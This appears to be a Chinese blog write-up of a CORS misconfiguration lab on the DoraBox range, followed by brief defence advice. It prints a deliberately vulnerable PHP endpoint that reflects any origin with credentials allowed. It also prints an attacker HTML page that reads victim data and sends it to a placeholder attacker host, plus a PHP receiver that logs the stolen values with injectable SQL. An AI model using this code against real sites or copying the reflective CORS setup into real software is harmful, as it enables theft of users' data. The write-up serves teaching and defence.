CORS漏洞

CORS漏洞

虚拟机有Dorabox靶场哈

看一下cors跨域资源读文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (@$_SERVER['HTTP_ORIGIN']){
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
}else{
header("Access-Control-Allow-Origin: *");
}
header("Access-Control-Allow-Headers: X-Requested-With");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");

$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
echo json_encode($info);
?>

攻击

攻击者想搞事的话,就编写一个html文件,让受害者访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<script src="jquery-3.4.1.min.js"></script>
<script>
//$.get('http://192.168.1.89/cors.php',function(data){
$.get('http://192.168.1.89/DoraBox-master/csrf/userinfo.php',function(data){
alert(data);
location.href='http://攻击者ip/7/corsrecv.php?value='+data+'&referer='+'123';
});
</script>
</head>
<body>

</body>
</html>

其目的是让受害者主动访问攻击者服务器上的 corsrecv.php文件,还携带了参数,而攻击者php文件的目的就是接收一个data参数,存进数据库

(想获取其它数据的话,也可以 +'&url='+url)

一般有个alert()就可以证明这个漏洞存在了

把html的alert 注释掉

攻击者服务器再编写个corsrecv.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$ipaddr=$_SERVER['REMOTE_ADDR'];
$url=$_GET['referer'];
$value=$_GET['value'];

$conn=new mysqli('127.0.0.1','root','root','pikachu') or die("数据库连接不成功");
$conn->set_charset("utf8");
$sql="insert into xssdata(ipaddr,url,cookie) values('$ipaddr','$url','$value')";
$conn->query($sql);

//跳转链接
echo "<script>location.href='https://www.baidu.com'</script>";

?>

接收对应的值并写进数据库

看,centos去访问 攻击者ip/7/cors.html,跳转到百度了

看下主机的数据库,收到了

jsonp跨域那个是真不给面子,还是这个好!!!!!!!

来来来,趁心情好,往存储性xss里写一个 超链接,centos去触发,完美!!!!!!

防御

配置错误引起的

  1. Access-Control-Allow-Origin:指定正确来源
  2. 只允许信任的网站
  3. 避免将null加入白名单,应针对私有和公有服务器的可选来源正确定义cors头
  4. 避免在内网服务器中使用通配符
  5. cors只定义了浏览器的行为,不能替代服务器端安全策略
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信